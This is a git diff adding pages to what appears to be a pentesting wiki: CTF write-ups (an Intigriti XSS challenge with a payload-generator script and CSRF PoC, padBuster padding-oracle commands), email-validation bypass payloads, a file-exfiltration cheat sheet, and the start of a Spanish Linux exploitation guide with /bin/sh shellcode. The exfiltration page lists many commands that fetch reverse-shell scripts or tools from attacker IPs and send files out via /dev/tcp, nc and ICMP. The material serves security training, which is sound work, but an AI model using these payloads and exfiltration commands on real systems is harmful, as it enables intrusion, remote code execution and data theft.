+If you can somehow encrypt a plaintext using a RC4**,** you can decrypt any content encrypted by that RC4\(using the same password\) just using the encryption function.
+
+If you can encrypt a known plaintext you can also extract the password. More references can be found in the HTB Kryptos machine:
+
+{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
+
+{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
+
+\*\*\*\*
+
+
+
diff --git a/ctf-write-ups/README.md b/ctf-write-ups/README.md
new file mode 100644
index 00000000000..7328e9213f3
--- /dev/null
+++ b/ctf-write-ups/README.md
@@ -0,0 +1,5 @@
+# CTF Write-ups
+
+* [Write-up factory](https://writeup.raw.pm/) - Seach engine to find write-ups \(TryHackMe, HackTheBox, etc.\)
+* [CTFtime Write-ups](https://ctftime.org/writeups) - Newest write-ups added to CTF events on CTFtime
+
diff --git a/ctf-write-ups/challenge-0521.intigriti.io.md b/ctf-write-ups/challenge-0521.intigriti.io.md
new file mode 100644
index 00000000000..54346279bf1
--- /dev/null
+++ b/ctf-write-ups/challenge-0521.intigriti.io.md
@@ -0,0 +1,176 @@
+# challenge-0521.intigriti.io
+
+### Brief Description <a id="Brief-Description"></a>
+
+The challenge provides a vulnerable to XSS form in the page [https://challenge-0521.intigriti.io/captcha.php](https://challenge-0521.intigriti.io/captcha.php).  
+This form is loaded in [https://challenge-0521.intigriti.io/](https://challenge-0521.intigriti.io/) via an iframe.
+
+It was found that the form will **insert the user input inside the JavaScript `eval` function**. This is usually a bad idea as it can lead to **arbitrary JavaScript execution**, and this is a good example.  
+However, before inserting the user input inside the`eval` function, it’s checked with the regexp `/[a-df-z<>()!\\='"]/gi` so if any of those character is found, the user input won’t be executed inside `eval`.  
+Anyway, it was found a way to bypass the regexp protection and execute `alert(document.domain)` abusing the dangerous `eval` function.
+
+### Accessing the HTML <a id="Accessing-the-HTML"></a>
+
+It was found that the letter `e` is permitted as user input. It was also found that there is an HTLM element using the `id="e"`. Therefore, this HtML element is accesible from Javascript just using the variable `e`:  
+![](https://i.imgur.com/Slq2Xal.png)
+
+Also, it’s important to know that in JS you can **access the attributes of an objects with a dot or with a string between brackets**. So, you can access the `domain` attribute of a `document` object in either of the following ways:
+
+```javascript
+document.domain
+document["domain"]
+```
+
+And the same happens with attributes that are functions \(methods\):
+
+```javascript
+document.write("1")
+document["write"]("1")
+```
+
+Then, from the `e` HTML element it’s possible to access the `document` object using something like:
+
+```javascript
+e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"]
+```
+
+### Calling a function without parenthesis with JS code as string <a id="Calling-a-function-without-parenthesis-with-JS-code-as-string"></a>
+
+From the object `document` it’s possible to call the `write` function to **write arbitrary HTML text that the browser will execute**.  
+However, as the `()` characters are **forbidden**, it’s not possible to call the function using them. Anyway, it’s possible to call a function using **backtips** \(\`\`\).  
+Moreover, it’s possible to put as string javascript code that is going to be executed using `${...}` like:
+
+```javascript
+`${"alert(document.location)"}`
+```
+
+Therefore, combining the `document` object access with this technique to execute functions without parenthesis it’s possible to **execute an alert using**:
+
+```javascript
+e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"]["write"]`${"<script>alert(document.location)</script>"}`
+```
+
+You can test this code in a javascript console inside the page [https://challenge-0521.intigriti.io/captcha.php](https://challenge-0521.intigriti.io/captcha.php)
+
+### Final forbidden characters bypass <a id="Final-forbidden-characters-bypass"></a>
+
+However, there is still one problem left. Most of the characters of the exploit are **forbidden** as they appear in the regexp `/[a-df-z<>()!\\='"]/gi`. But note how all the **forbidden characters are strings** inside the exploit and the **not string characters in the exploit \(e\[\]\`${}\) are allowed**.  
+This means that if it’s possible to **generate the forbidden charaters as strings from the allowed characters**, it’s possible to generate the exploit.  
+In order to do this I have generated a [JSFuck](http://www.jsfuck.com/) like alphabet to generate the necesary characters \(_this alphabet is custom for this challenge_\).  
+You can **see the full alphabet inside the exploit code** \(which can be found in the next subsection and in the file _exploit.txt_\).
+
+For example, in order to **generate the letter `a`** it’s possible to access **`[[]/e+e][0][1]`** as `[[]/e+e][0]` generates the string `"NaN[object HTMLProgressElement]"` or in order to generate the **letter `f`** its possible to access the **5th char of `[[][[]]+e][0]`** as that expression generates the string `"undefined[object HTMLProgressElement]"`.  
+Using these tricks and some more complex ones it was possible to **generate all the characters \(letters and symbols\) of the strings contained** in the exploit:
+
+```javascript
+e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"]["write"]`${"<script>alert(document.location)</script>"}`
+```
+
+### Exploit Code <a id="Exploit-Code"></a>
+
+This is the python exploit used to generate the final exploit. If you execute it, it will print the exploit:
+
+```python
+
+#JS Specific Direct Alphabet
+x = {
+    "1": "1",
+    ".": ".",
+    "[": "[e+e][0][0]",
+    "]": "[e+e][0][27]",
+    "/": "[/e/+e][0][0]",
+    "a": "[[]/e+e][0][1]",
+    "b": "[e+e][0][2]",
+    "c": "[e+e][0][5]",
+    "d": "[[][[]]+e][0][2]",
+    "e": "[e+e][0][4]",
+    "f": "[[][[]]+e][0][4]",
+    "g": "[e+e][0][15]",
+    "H": "[e+e][0][8]",
+    "i": "[[][[]]+e][0][5]",
+    "j": "[e+e][0][3]",
+    "L": "[e+e][0][11]",
+    "l": "[e+e][0][21]",
+    "M": "[e+e][0][10]",
+    "n": "[[][[]]+e][0][1]",
+    "N": "[[]/e+e][0][0]",
+    "o": "[e+e][0][1]",
+    "r": "[e+e][0][13]",
+    "s": "[e+e][0][18]",
+    "t": "[e+e][0][6]",
+    "T": "[e+e][0][9]",
+    "u": "[[][[]]+e][0][0]",
+}
+
+#JS Dependent Alphabet
+#The following alphabet will use previously obtained characters
+#Note that this way of getting the characters are custom for the abused HTML
+
+outerHTML = '+'.join(x[k] for k in 'outerHTML')
+
+x['p'] = f'e[{outerHTML}][1]'
+x['y'] = f'e[{outerHTML}][39]'
+x['<'] = f'e[{outerHTML}][0]'
+x['>'] = f'e[{outerHTML}][62]'
+x['"'] = f'e[{outerHTML}][13]'
+
+parentNode = '+'.join(x[k] for k in 'parentNode')
+document =f'e[{parentNode}][{parentNode}][{parentNode}][{parentNode}][{parentNode}]'
+
+x['h'] = f'e[{parentNode}][{parentNode}][{outerHTML}][15]'
+
+children = '+'.join(x[k] for k in 'children')
+captcha = '+'.join(x[k] for k in 'captcha')
+
+x['w'] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][35]'
+write = '+'.join(x[k] for k in 'write')
+
+x['m'] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][38]'
+x['('] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][42]'
+x[')'] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][43]'
+
+
+# Exploit generation
+payload_text = '<script>alert(document["domain"])</script>'
+payload = '+'.join(x[k] for k in payload_text)
+
+txt = f'{document}[{write}]'+'`${['+payload+']}`'
+
+print(txt) #Write the exploit to stdout
+```
+
+### Exploitation <a id="Exploitation"></a>
+
+In order to generate the exploit just execute the previous python code. If you prefer, you can also copy/paste it from here:
+
+```text
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+```
+
+Then, you need to **generate a HTML page** that, when loaded, it’s going to **redirect** the victim to the **challenge** page **setting the exploit in the captcha form**. The following code can be use for this purpose \(_note that the exploit is URL encoded_\):
+
+```markup
+  <!-- CSRF PoC - generated by Burp Suite Professional -->
+  <body>
+  <script>history.pushState('', '', '/')</script>
+    <form action="https://challenge-0521.intigriti.io/captcha.php" method="POST">
+      <input type="hidden" name="c" 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+      <input type="submit" value="Submit request" />
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+    </script>
+  </body>
+</html>
+
+```
+
+Finally, **serve the poc in a HTTP** server and access it from the browser:  
+
+
+![](https://i.imgur.com/qack7GO.png)
+
+Just press **submit** on the captcha form and the alert will be executed:
+
+![](https://i.imgur.com/mCORty3.png)
+
diff --git a/ctf-write-ups/try-hack-me/README.md b/ctf-write-ups/try-hack-me/README.md
new file mode 100644
index 00000000000..77d292c6feb
--- /dev/null
+++ b/ctf-write-ups/try-hack-me/README.md
@@ -0,0 +1,2 @@
+# Try Hack Me
+
diff --git a/ctf-write-ups/try-hack-me/hc0n-christmas-ctf-2019.md b/ctf-write-ups/try-hack-me/hc0n-christmas-ctf-2019.md
new file mode 100644
index 00000000000..b65c51b4a7b
--- /dev/null
+++ b/ctf-write-ups/try-hack-me/hc0n-christmas-ctf-2019.md
@@ -0,0 +1,42 @@
+# hc0n Christmas CTF - 2019
+
+![](../../.gitbook/assets/41d0cdc8d99a8a3de2758ccbdf637a21.jpeg)
+
+## Enumeration
+
+I started **enumerating the machine using my tool** [**Legion**](https://github.com/carlospolop/legion):
+
+![](../../.gitbook/assets/image%20%2821%29.png)
+
+There are 2 ports open: 80 \(**HTTP**\) and 22 \(**SSH**\)
+
+In the web page you can **register new users**, and I noticed that **the length of the cookie depends on the length of the username** indicated:
+
+![](../../.gitbook/assets/image%20%28311%29.png)
+
+![](../../.gitbook/assets/image%20%28318%29.png)
+
+And if you change some **byte** of the **cookie** you get this error:
+
+![](../../.gitbook/assets/image%20%28109%29.png)
+
+With this information and[ **reading the padding oracle vulnerability**](../../cryptography/padding-oracle-priv.md) I was able to exploit it:
+
+```bash
+perl ./padBuster.pl http://10.10.231.5/index.php "GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy" 8 -encoding 0 -cookies "hcon=GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy"
+```
+
+![](../../.gitbook/assets/image%20%2853%29.png)
+
+![](../../.gitbook/assets/image%20%28173%29.png)
+
+**Set user admin:**
+
+```bash
+perl ./padBuster.pl http://10.10.231.5/index.php "GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy" 8 -encoding 0 -cookies "hcon=GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy" -plaintext "user=admin"
+```
+
+![](../../.gitbook/assets/image%20%28271%29.png)
+
+
+
diff --git a/ctf-write-ups/try-hack-me/pickle-rick.md b/ctf-write-ups/try-hack-me/pickle-rick.md
new file mode 100644
index 00000000000..b611a9cae8e
--- /dev/null
+++ b/ctf-write-ups/try-hack-me/pickle-rick.md
@@ -0,0 +1,62 @@
+# Pickle Rick
+
+![](../../.gitbook/assets/picklerick.gif)
+
+This machine was categorised as easy and it was pretty easy.
+
+## Enumeration
+
+I started **enumerating the machine using my tool** [**Legion**](https://github.com/carlospolop/legion):
+
+![](../../.gitbook/assets/image%20%2879%29.png)
+
+In as you can see 2 ports are open: 80 \(**HTTP**\) and 22 \(**SSH**\)
+
+So, I launched legion to enumerate the HTTP service:
+
+![](../../.gitbook/assets/image%20%28140%29.png)
+
+Note that in the image you can see that `robots.txt` contains the string `Wubbalubbadubdub`
+
+After some seconds I reviewed what `disearch` has already discovered :
+
+![](../../.gitbook/assets/image%20%28132%29.png)
+
+![](../../.gitbook/assets/image%20%28105%29.png)
+
+And as you may see in the last image a **login** page was discovered.
+
+Checking the source code of the root page, a username is discovered: `R1ckRul3s`
+
+![](../../.gitbook/assets/image%20%28324%29.png)
+
+Therefore, you can login on the login page using the credentials `R1ckRul3s:Wubbalubbadubdub`
+
+## User
+
+Using those credentials you will access a portal where you can execute commands:
+
+![](../../.gitbook/assets/image%20%28196%29.png)
+
+Some commands like cat aren't allowed but you can read the first ingredient \(flag\) using for example grep:
+
+![](../../.gitbook/assets/image%20%28218%29.png)
+
+Then I used:
+
+![](../../.gitbook/assets/image%20%28171%29.png)
+
+To obtain a reverse shell:
+
+![](../../.gitbook/assets/image%20%2851%29.png)
+
+The **second ingredient** can be found in `/home/rick`
+
+![](../../.gitbook/assets/image%20%2857%29.png)
+
+## Root
+
+The user **www-data can execute anything as sudo**:
+
+![](../../.gitbook/assets/image%20%2884%29.png)
+
diff --git a/docker-compose.yml b/docker-compose.yml
deleted file mode 100644
index 736e384b46b..00000000000
--- a/docker-compose.yml
+++ /dev/null
@@ -1,19 +0,0 @@
-# Run locally:  docker compose up   (or: podman compose up)  ->  http://localhost:3337
-services:
-  hacktricks:
-    image: ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image:latest
-    platform: linux/amd64  # published image is amd64-only
-    container_name: hacktricks
-    ports:
-      - "3337:3000"
-    volumes:
-      - .:/app
-    working_dir: /app
-    environment:
-      MDBOOK_PREPROCESSOR__HACKTRICKS__ENV: dev
-    command:
-      - bash
-      - -c
-      - >
-        git config --global --add safe.directory /app &&
-        mdbook serve --hostname 0.0.0.0 --port 3000
diff --git a/emails-vulns.md b/emails-vulns.md
new file mode 100644
index 00000000000..ff90182e753
--- /dev/null
+++ b/emails-vulns.md
@@ -0,0 +1,58 @@
+# Emails Vulnerabilities
+
+## Payloads
+
+### Ignored parts of an email
+
+The symbols: **+, -** and **{}** in rare occasions can be used for tagging and ignored by most e-mail servers
+
+* E.g. john.doe+intigriti@example.com → john.doe@example.com
+
+**Comments between parentheses \(\)** at the beginning or the end will also be ignored 
+
+* E.g. john.doe\(intigriti\)@example.com → john.doe@example.com
+
+### Whitelist bypass
+
+* inti\(;inti@inti.io;\)@whitelisted.com
+* inti@inti.io\(@whitelisted.com\)
+* inti+\(@whitelisted.com;\)@inti.io
+
+### IPs
+
+You can also use IPs as domain named between square brackets:
+
+* john.doe@\[127.0.0.1\]
+* john.doe@\[IPv6:2001:db8::1\]
+
+### Other vulns
+
+![](.gitbook/assets/image%20%28160%29.png)
+
+## Third party SSO
+
+### XSS
+
+Some services like **github** or **salesforce allows** you to create an **email address with XSS payloads on it**. If you can **use this providers to login on other services** and this services **aren't sanitising** correctly the email, you could cause **XSS**.
+
+### Account-Takeover
+
+If a **SSO service** allows you to **create an account without verifying the given email address** \(like **salesforce**\) and then you can use that account to **login in a different service** that **trusts** salesforce, you could access any account.  
+_Note that salesforce indicates if the given email was or not verified but so the application should take into account this info._
+
+## Reply-To
+
+You can send an email using _**From: company.com**_ ****and _**Replay-To: attacker.com**_ and if any **automatic reply** is sent due to the email was sent **from** an **internal address** the **attacker** may be able to **receive** that **response**.
+
+## **References**
+
+* \*\*\*\*[**https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view**](https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view)\*\*\*\*
+
+## Hard Bounce Rate
+
+Some applications like AWS have a **Hard Bounce Rate** \(in AWS is 10%\), that whenever is overloaded the email service is blocked.
+
+A **hard bounce** is an **email** that couldn’t be delivered for some permanent reasons. Maybe the **email’s** a fake address, maybe the **email** domain isn’t a real domain, or maybe the **email** recipient’s server won’t accept **emails**\) , that means from total of 1000 emails if 100 of them were fake or were invalid that caused all of them to bounce, **AWS SES** will block your service.
+
+So, if you are able to **send mails \(maybe invitations\) from the web application to any email address, you could provoke this block by sending hundreds of invitations to nonexistent users and domains: Email service DoS.**
+
diff --git a/exfiltration.md b/exfiltration.md
new file mode 100644
index 00000000000..1d5a1161104
--- /dev/null
+++ b/exfiltration.md
@@ -0,0 +1,316 @@
+# Exfiltration
+
+## Copy&Paste Base64
+
+#### Linux
+
+```bash
+base64 -w0 <file> #Encode file
+base64 -d file #Decode file
+```
+
+#### Windows
+
+```text
+certutil -encode payload.dll payload.b64
+certutil -decode payload.b64 payload.dll
+```
+
+## HTTP
+
+#### Linux
+
+```bash
+wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
+wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
+curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
+fetch 10.10.14.14:8000/shell.py #FreeBSD
+```
+
+#### Windows
+
+```bash
+certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
+bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf
+
+#PS
+(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
+Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
+wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
+
+Import-Module BitsTransfer
+Start-BitsTransfer -Source $url -Destination $output
+#OR
+Start-BitsTransfer -Source $url -Destination $output -Asynchronous
+```
+
+### Upload files
+
+\*\*\*\*[**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)\*\*\*\*
+
+### **HTTPS Server**
+
+```python
+# from https://gist.github.com/dergachev/7028596
+# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
+# generate server.xml with the following command:
+#    openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
+# run as follows:
+#    python simple-https-server.py
+# then in your browser, visit:
+#    https://localhost:443
+
+import BaseHTTPServer, SimpleHTTPServer
+import ssl
+
+httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), SimpleHTTPServer.SimpleHTTPRequestHandler)
+httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)
+httpd.serve_forever()
+```
+
+## FTP
+
+### FTP server \(python\)
+
+```bash
+pip3 install pyftpdlib
+python3 -m pyftpdlib -p 21
+```
+
+### FTP server \(NodeJS\)
+
+```text
+sudo npm install -g ftp-srv --save
+ftp-srv ftp://0.0.0.0:9876 --root /tmp
+```
+
+### FTP server \(pure-ftp\)
+
+```bash
+apt-get update && apt-get install pure-ftp
+```
+
+```bash
+#Run the following script to configure the FTP server
+#!/bin/bash
+groupadd ftpgroup
+useradd -g ftpgroup -d /dev/null -s /etc ftpuser
+pure-pwd useradd fusr -u ftpuser -d /ftphome
+pure-pw mkdb
+cd /etc/pure-ftpd/auth/
+ln -s ../conf/PureDB 60pdb
+mkdir -p /ftphome
+chown -R ftpuser:ftpgroup /ftphome/
+/etc/init.d/pure-ftpd restart
+```
+
+### **Windows** client
+
+```bash
+#Work well with python. With pure-ftp use fusr:ftp
+echo open 10.11.0.41 21 > ftp.txt
+echo USER anonymous >> ftp.txt
+echo anonymous >> ftp.txt
+echo bin >> ftp.txt
+echo GET mimikatz.exe >> ftp.txt
+echo bye >> ftp.txt
+ftp -n -v -s:ftp.txt
+```
+
+## SMB
+
+Kali as server
+
+```bash
+kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
+kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
+#For new Win10 versions
+impacket-smbserver -smb2support -user test -password test test `pwd`
+```
+
+Or create a **smb** share **using samba**:
+
+```bash
+apt-get install samba
+mkdir /tmp/smb
+chmod 777 /tmp/smb
+#Add to the end of /etc/samba/smb.conf this:
+[public]
+    comment = Samba on Ubuntu
+    path = /tmp/smb
+    read only = no
+    browsable = yes
+    guest ok = Yes
+#Start samba
+service smbd restart
+```
+
+Windows
+
+```bash
+CMD-Wind> \\10.10.14.14\path\to\exe
+CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
+
+WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali"
+WindPS-2> cd new_disk:
+```
+
+## SCP
+
+The attacker has to have SSHd running.
+
+```bash
+scp <username>@<Attacker_IP>:<directory>/<filename> 
+```
+
+## NC
+
+```bash
+nc -lvnp 4444 > new_file
+nc -vn <IP> 4444 < exfil_file
+```
+
+## /dev/tcp
+
+### Download file from victim
+
+```bash
+nc -lvnp 80 > file #Inside attacker
+cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
+```
+
+### Upload file to victim
+
+```bash
+nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
+# Inside victim
+exec 6< /dev/tcp/10.10.10.10/4444
+cat <&6 > file.txt
+```
+
+thanks to **@BinaryShadow\_**
+
+## **ICMP**
+
+```bash
+#In order to exfiltrate the content of a file via pings you can do:
+xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line <IP attacker>; done
+#This will 4bytes per ping packet (you could probablie increase this until 16)
+```
+
+```python
+from scapy.all import *
+#This is ippsec receiver created in the HTB machine Mischief
+def process_packet(pkt):
+    if pkt.haslayer(ICMP):
+        if pkt[ICMP].type == 0:
+            data = pkt[ICMP].load[-4:] #Read the 4bytes interesting
+            print(f"{data.decode('utf-8')}", flush=True, end="")
+
+sniff(iface="tun0", prn=process_packet)
+```
+
+## **SMTP**
+
+If you can send data to an SMTP server, you can create a SMTP to receive the data with python:
+
+```bash
+sudo python -m smtpd -n -c DebuggingServer :25
+```
+
+## TFTP
+
+By default in XP and 2003 \(in others it need to be explicitly added during installation\)
+
+In Kali, **start TFTP server**:
+
+```bash
+#I didn't get this options working and I prefer the python option
+mkdir /tftp
+atftpd --daemon --port 69 /tftp
+cp /path/tp/nc.exe /tftp
+```
+
+**TFTP server in python:**
+
+```bash
+pip install ptftpd
+ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
+```
+
+In **victim**, connect to the Kali server:
+
+```bash
+tftp -i <KALI-IP> get nc.exe
+```
+
+## PHP
+
+Download a file with a PHP oneliner:
+
+```bash
+echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
+```
+
+## VBScript
+
+```bash
+Attacker> python -m SimpleHTTPServer 80
+```
+
+#### Victim
+
+```bash
+echo strUrl = WScript.Arguments.Item(0) > wget.vbs
+echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
+echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
+echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
+echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
+echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
+echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
+echo Err.Clear >> wget.vbs
+echo Set http = Nothing >> wget.vbs
+echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
+echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
+echo If http Is Nothing Then Set http =CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
+echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
+echo http.Open "GET", strURL, False >> wget.vbs
+echo http.Send >> wget.vbs
+echo varByteArray = http.ResponseBody >> wget.vbs
+echo Set http = Nothing >> wget.vbs
+echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
+echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
+echo strData = "" >> wget.vbs
+echo strBuffer = "" >> wget.vbs
+echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
+echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
+echo Next >> wget.vbs
+echo ts.Close >> wget.vbs
+```
+
+```bash
+cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
+```
+
+## Debug.exe
+
+This is a crazy technique that works on Windows 32 bit machines. Basically the idea is to use the `debug.exe` program. It is used to inspect binaries, like a debugger. But it can also rebuild them from hex. So the idea is that we take a binaries, like `netcat`. And then disassemble it into hex, paste it into a file on the compromised machine, and then assemble it with `debug.exe`.
+
+`Debug.exe` can only assemble 64 kb. So we need to use files smaller than that. We can use upx to compress it even more. So let's do that:
+
+```text
+upx -9 nc.exe
+```
+
+Now it only weights 29 kb. Perfect. So now let's disassemble it:
+
+```text
+wine exe2bat.exe nc.exe nc.txt
+```
+
+Now we just copy-paste the text into our windows-shell. And it will automatically create a file called nc.exe
+
+## DNS
+
+[https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil)
+
diff --git a/exploiting/linux-exploiting-basic-esp/README.md b/exploiting/linux-exploiting-basic-esp/README.md
new file mode 100644
index 00000000000..fab1d262559
--- /dev/null
+++ b/exploiting/linux-exploiting-basic-esp/README.md
@@ -0,0 +1,924 @@
+# Linux Exploiting \(Basic\) \(SPA\)
+
+## **ASLR**
+
+Aleatorización de direcciones
+
+**Desactiva aleatorizacion\(ASLR\) GLOBAL \(root\)**:  
+echo 0 &gt; /proc/sys/kernel/randomize\_va\_space  
+Reactivar aletorizacion GLOBAL: echo 2 &gt; /proc/sys/kernel/randomize\_va\_space
+
+**Desactivar para una ejecución** \(no requiere root\):  
+setarch \`arch\` -R ./ejemplo argumentos  
+setarch \`uname -m\` -R ./ejemplo argumentos
+
+**Desactivar protección de ejecución en pila**  
+gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack ejemplo.c -o ejemplo
+
+**Core file**  
+ulimit -c unlimited  
+gdb /exec core\_file  
+/etc/security/limits.conf -&gt; \*               soft    core            unlimited
+
+**Text  
+Data  
+BSS  
+Heap**
+
+**Stack**
+
+## **1.STACK OVERFLOWS**
+
+> buffer overflow, buffer overrun, stack overrun, stack smashing
+
+Fallo de segmentación o violación de segmento: Cuando se intenta acceder a una dirección de memoria que no ha sido asignada al proceso.
+
+**Sección BSS**: Variables globales o estáticas sin inicializar
+
+```text
+static int i;
+```
+
+**Sección DATA**: Variables globales o estáticas inicializadas
+
+```text
+int i = 5;
+```
+
+**Sección TEXT**: Instrucciones del código \(opcodes\)
+
+**Sección HEAP**: Buffer reservados de forma dinánima \(malloc\(\), calloc\(\), realloc\(\) \)
+
+**Sección STACK**: La pila \(Argumentos pasados, cadenas de entorno \(env\), variables locales…\)
+
+Para obtener la dirección de una función dentro de un programa se puede hacer:
+
+```text
+objdump -d ./PROGRAMA | grep FUNCION
+```
+
+Si necesitas una dirección del Stack el GDB modifica variables de entorno que hae que cambie la dirección con respecto ala ejecución normal:
+
+* `unset env LINES`
+* `unset env COLUMNS`
+* `set env _=path` donde path es la ruta absoluta al programa
+* explotar el programa usando la ruta absoluta
+* asegúrate de que PWD y OLDPWD son las mismas que en gdb
+
+## **2.SHELLCODE**
+
+Ver interrupciones de kernel: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h \| grep “\_\_NR\_”
+
+setreuid\(0,0\); // \_\_NR\_setreuid 70  
+execve\(“/bin/sh”, args\[\], NULL\); // \_\_NR\_execve 11  
+exit\(0\); // \_\_NR\_exit 1
+
+xor eax, eax ; limpiamos eax  
+xor ebx, ebx ; ebx = 0 pues no hay argumento que pasar  
+mov al, 0x01 ; eax = 1 —&gt; \_\_NR\_exit 1  
+int 0x80 ;        Ejecutar syscall
+
+**nasm -f elf assembly.asm** —&gt; Nos devuelve un .o  
+**ld assembly.o -o shellcodeout** —&gt; Nos da un ejecutable formado por el código ensamblador y podemos sacar los opcodes con **objdump  
+objdump -d  -Mintel ./shellcodeout** —&gt; Para ver que efectivamente es nuestra shellcode y sacar los OpCodes
+
+**Comprobar que la shellcode funciona**
+
+```text
+char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
+
+void main(){
+            void (*fp) (void);
+            fp = (void *)shellcode;
+            fp();
+}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1">​</span>
+```
+
+Para ver que las llamadas al sistema se realizan correctamente se debe compilar el programa anterior y las llamadas del sistema deben aparecer en **strace ./PROGRAMA\_COMPILADO**
+
+A la hora de crear shellcodes se puede realizar un truco. La primera instrucción es un jump a un call. El call llama al código original y además mete en el stack el EIP. Después de la instrucción call hemos metido el string que necesitásemos, por lo que con ese EIP podemos señalar al string y además continuar ejecutando el código.
+
+EJ **TRUCO \(/bin/sh\)**:
+
+```text
+jmp                 0x1f                                        ; Salto al último call
+popl                %esi                                       ; Guardamos en ese la dirección al string
+movl               %esi, 0x8(%esi)       ; Concatenar dos veces el string (en este caso /bin/sh)
+xorl                 %eax, %eax             ; eax = NULL
+movb  %eax, 0x7(%esi)     ; Ponemos un NULL al final del primer /bin/sh
+movl               %eax, 0xc(%esi)      ; Ponemos un NULL al final del segundo /bin/sh
+movl   $0xb, %eax               ; Syscall 11
+movl               %esi, %ebx               ; arg1=“/bin/sh”
+leal                 0x8(%esi), %ecx      ; arg[2] = {“/bin/sh”, “0”}
+leal                 0xc(%esi), %edx      ; arg3 = NULL
+int                    $0x80                         ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
+xorl                 %ebx, %ebx             ; ebx = NULL
+movl   %ebx, %eax            
+inc                   %eax                          ; Syscall 1
+int                    $0x80                         ; exit(0)
+call                  -0x24                          ; Salto a la primera instrución
+.string             \”/bin/sh\”                               ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1">​</span>
+```
+
+**EJ usando el Stack\(/bin/sh\):**  
+
+
+```text
+section .text
+global _start
+_start:
+xor                  eax, eax                     ;Limpieza
+mov                al, 0x46                      ; Syscall 70
+xor                  ebx, ebx                     ; arg1 = 0
+xor                  ecx, ecx                     ; arg2 = 0
+int                    0x80                           ; setreuid(0,0)
+xor                  eax, eax                     ; eax = 0
+push   eax                             ; “\0”
+push               dword 0x68732f2f ; “//sh”
+push               dword 0x6e69622f; “/bin”
+mov                ebx, esp                     ; arg1 = “/bin//sh\0”
+push               eax                             ; Null -> args[1]
+push               ebx                             ; “/bin/sh\0” -> args[0]
+mov                ecx, esp                     ; arg2 = args[]
+mov                al, 0x0b                      ; Syscall 11
+int                    0x80                           ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
+```
+
+**EJ FNSTENV:**
+
+```text
+fabs
+fnstenv [esp-0x0c]
+pop eax                     ; Guarda el EIP en el que se ejecutó fabs
+…
+```
+
+**Egg Huter:**
+
+Consiste en un pequeño código que recorre las páginas de memoria asociadas a un proceso en busca de la shellcode ahi guardada \(busca alguna firma puesta en la shellcode\). Útil en los casos en los que solo se tiene un pequeño espacio para inyectar código.
+
+**Shellcodes polimórficos**
+
